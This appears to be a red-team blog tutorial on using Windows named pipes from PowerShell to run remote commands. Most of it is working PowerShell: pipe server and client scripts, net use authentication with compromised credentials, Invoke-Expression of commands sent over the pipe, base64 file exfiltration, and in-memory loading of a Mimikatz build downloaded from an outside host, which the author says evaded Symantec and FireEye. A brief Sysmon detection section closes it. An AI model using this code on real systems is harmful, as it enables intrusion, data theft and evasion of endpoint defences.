Named pipes are a Windows feature used for interprocess communication (IPC). It can be used to load the backdoor into memory or inject into a process. Named pipes are used for local processes to communicate with each other. It’s similar to a TCP session between a client and server. It can be used to provide communication channel between processes on the same computer or between processes on different computers across a network. ( => Might be interesting for lateral movement)
Source : https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes

Cobalt Strike, for example, uses this windows functionnality to transfer data without writing any file on disk. We will try to simulate that method to remotely execute code without writing anything on disk.

Scenario & Topology

The following scenario will focus on 3 machines.

  • Attacker system : 192.168.101.12
  • Compromised system : 192.168.101.13 - Windows 10
  • Client system : 192.168.101.4 - Windows Server 2019
Let's suppose that the attacker has a remote connection to the compromised system. The compromised system will initialize a pipe called "YahudPipe" and the client system will connect to it.

Development & Scripting

Named pipes can be created with the class NamedPipeServerStream(Name) from the namespace System.IO.Pipes
A client can connect to a named pipe by creating an object of the class NamedPipeClientStream(Server, Name) and calling the method Connect(Time) of that object.
To send and to receive data on the pipe, we will use a StreamWriter object to write data and StreamReader object to read the data sent through the pipe.

Server code

$pipeName = "YahudPipe";
$pipe = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName); # Creation new pipe object
Write-Host "Listening on \\.pipe\$pipeName";
$pipe.WaitForConnection();
$sr = New-Object System.IO.StreamReader($pipe) # StreamReader read text from a file, from $pipe here
$msg = $sr.ReadLine();
Write-Host "Message received :", $msg;

Client code
$pipeServer = "192.168.101.13"
$pipeName = "YahudPipe"
$pipe = New-Object System.IO.Pipes.NamedPipeClientStream($pipeServer, $pipeName)
$pipe.Connect();
$sw = New-Object System.IO.StreamWriter($pipe);
$msg = Read-Host "Enter your message to send :";
$sw.WriteLine($msg)
Once the connection is done, the exchange of data between the server and the client will be made by two methods of the class StreamWriter and StreamReader : WriteLine(String) & ReadLine(String).

Authentication

Connecting to the named pipe in local does not require any authentication, but when it comes to a connection through network, a authentication will be necessary.
The constructor of the class NamedPipeClientStream can take 2 parameters (Server IP, Pipe Name).

Local pipe: \\.\\PipeName
Network pipe : \\[ServerIP]\\PipeName
Without any authentication method, an exception will be caught indicating that the username or password is incorrect. A way to authenticate to another system in the network is similar as accessing to a network share of a system. We can use net use command to connect to a share resource of a computer in the same network.
net use \\[ServerIP] /user:[Username] [Password]
Since we suppose that the system that has created the pipe is compromised, the attacker knows the credential of an account of that system, this compromised account can be uesed for authentication.

Therefore, on the client script, the attacker can specify those credentials to connect to the pipe.
$auth = "net use \\{0} /user:{1} {2}" -f $pipeServer, $username, $password
Invoke-Expression -Command $auth
The cmdlet Invoke-expression runs the specified command on the local machine which will authenticate itself to the server.

Command execution

On the previous section, we've seen that it is possible to send message from the server to client and execute net use command to authenticate to another system through network. So with the named pipe functionnalities, the server can send commands to the client and execute it. The method WriteLine() and ReadLine() of the class StreamWriter and StreamReader will send and receive the message through the pipe.

Server code :

$command = Read-Host "Run command"
$sw.WriteLine($command)

Client code :
$command = $sr.ReadLine()
Invoke-Expression -Command $command
Now if the server want to get the output of the command, we can store the result of the command in a variable and send it through the pipe.

Client code :
$command = $sr.ReadLine()
$result = Invoke-Expression -Command $command
$sw.WriteLine($result.Length) # Sending lenght of the command result to Server
for($cpt = 0; $cpt -lt $result.Length; $cpt++){
 $sw.WriteLine($result[$cpt])
}
Server code :
$lenght = [int]$sr.ReadLine() # Get the lenght of the command executed by the client
for($cpt = 0; $cpt -lt $lenght; $cpt++){
 $result = $sr.ReadLine()
 Write-Host $result
}
Example : Running IPCONFIG In this example, we ran "ipconfig" to get the ip address information. This also can be a potential "data exfiltration" incident since we could have navigated through different path "C:\Users\[Username]\Documents" or check mapped drives with "net use" or check local account "net user"...

Extracting data

We have seen previously that it is possible to send data through the pipe. Therefore, it is logical to be able to send a file through the pipe.
The functions needed to transfer data are :

  • [System.IO.File]::ReadAllBytes
  • [System.IO.File]::WriteAllBytes
  • [System.Convert]::ToBase64String
  • [System.Convert]::FromBase64String
  • [System.IO.StreamWriter]::WriteLine
  • [System.IO.StreamReader]::ReadLine
Since we can execute some commands, it is very easy to navigate to different directories and to print the current directory or the content of the directory. It remains to find a file that seems interesting to extract. Copy the full path of the interested file and paste it when selecting the option "Extract File". The file will be extracted and in case that the target directory does not exist, the script will create a directory "FileExtractedFromPipe" to store the files that have been extracted from the pipe. Server code :
$path = Read-Host "Path of the file to extract"
$sw.WriteLine($path)
Client code :
$filepath = $sr.ReadLine()
Write-Host "Copying file to host"
$filebytes = [System.IO.File]::ReadAllBytes($filepath)
$fileB64 = [System.Convert]::ToBase64String($filebytes)
$sw.WriteLine($fileB64)
Server code :
$fileB64 = $sr.ReadLine()
$filebytes = [System.Convert]::FromBase64String($fileb64)
$filename = Split-Path $path -Leaf
$path_to_copy = "C:\Users\Public\Temp"
[System.IO.File]::WriteAllBytes($path_to_copy+"\"+$filename, $bytefile)

Remote Code Execution

This is probably the most interesting part. Executing code in another computer from our own system. Cobalt Strike uses Windows pipes to communicate between systems in the network. For example, the "keylogger" module is able to send the pressed keys back to the main beacon process. The keylogger module is fully fileless, which makes the detection harder for antiviruses and EDR. The pipes help that communication between the server and the clients without writing on the disk. We will simulate how to load and execute the process in memory to bypass the detection from the antivirus and EDR. In PowerShell, it is possible to run a .NET application executable with the Assembly class from the System.Reflection namespace. .NET application can be application written in C#. To illustrate it, we will start with a simple C# program that will print "Hello World".

Content of the file "Program.cs"

using System;

namespace Malcode
{
 class Program
 {
  static void Main()
  {
   Console.WriteLine("Hello World!");
  }
 }
}
Compile the .cs file with csc.exe to create a assembly file.
Then use the Load() method from the Assembly class to load the assembly in memory, $assembly.EntryPoint will find the location of the main function and run the program with the method Invoke()
$assemblyPath = 'D:\Programming\C#\YahudScript\Malcode\Malcode.exe'
$assemblyByte = [System.IO.File]::ReadAllBytes($assemblyPath)
$assembly = [System.Reflection.Assembly]::Load($assemblyByte)
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, $null)
This code is showing you how to run a .NET application in PowerShell. To adapt this for the pipes, the server has to send the assembly bytes through the pipe, and the client loads the assembly bytes. The server can download the content of an .NET application using (New-Object Net.WebClient).DownloadString(URL) to download the content of an executable file and store it in a variable. Then send the variable through the pipe and the client loads and executes it.
=> Remote Code Execution Now that we demonstrate how to remotely execute a .NET application from PowerShell, let's make some tests to see if we can bypass some detections.
PELoaderofMimikatz.cs from S3cur3Th1sSh1t is a version of Mimikatz for .NET application.

If the assembly is found on disk, it will be immediately detected by the antivirus, the test has been done with Symantec EndPoint Protection. But what happened if we load it in memory ? Will the antivirus be able to detect it ?
Server code :
$assemblyByte = (Invoke-WebRequest "http://X.X.X.X/LoadMimikatz.exe").Content
$assemblyB64 = [System.Convert]::ToBase64String($assemblyByte)
$sw.WriteLine($assemblyB64) # Server sending to the client
(New-Object Net.WebClient).DownloadData("http://X.X.X.X/LoadMimikatz.exe") could have been used instead of Invoke-WebRequest Client code :
$assemblyB64 = $sr.ReadLine()
$assemblyByte = [System.Convert]::FromBase64String($assemblyB64)
$assembly = [System.Reflection.Assembly]::Load($assemblyByte)
$assembly.EntryPoint.Invoke($null, $null)
Nothing has been written on disk, everything is happening through memory, we store the bytes in the variable and execute the content of that variable to launch .NET application. Boom Remote Code Execution, we've just executed mimikatz in the client system from the server . Mimikatz has been launched, there isn't any detection from Symantec EndPoint Protection and FireEye HX. The server can launch Mimikatz to any client that is connected to the pipes. Without any privilege escalation so admin right has not been optained, a LSASS dump will not be possible, but it is mainly to demonstrate that loading an executable in memory is still a huge weakness of antiviruses and EDR.

Detection

This section is mainly for FireEye EDR team to improve their detection

As mentionned previously, the detection has not been great for the antivirus and EDR. We have created a named pipe under the name "YahudPipe" and no event has been recorded in the triage of the system from FireEye HX. To detect creation of a named pipe and connection to a named pipe, Sysmon is a tool that is available to monitor it. By filtering the Sysmon log in the event viewer with the ID 17, 18, we might monitor those events.

  • Sysmon event id 17 : Pipe creation
  • Sysmon event id 18 : Pipe connection
The detection has been partially successful. Using accesschk, the connect pipe event has been recorded however the connection of my pipe has not been recorded by the event ID 18. The creation of the pipe "YahudPipe" has been fully recorded.

Conclusion

Named pipes is a windows functionality that exist for a very long time, it is mainly used to send data from a process to another process. Most of people know the pipes to send the output of a command to the input of another command, such as dir | findstr "cmd.exe", which will send the output of the command "dir" as the input of the command "findstr". On the attack side, it is currently used by Cobalt Strike to exfiltrate data but on the defense side, we are still lacking of detection regarding this windows feature. As shown in this POC, the antivirus and EDR do not detect anything regarding the creation or the connection event of a pipe. Moreover, it give the opportunity for attackers to remotely execute code in memory which is another way to evade antivirus and EDR detection.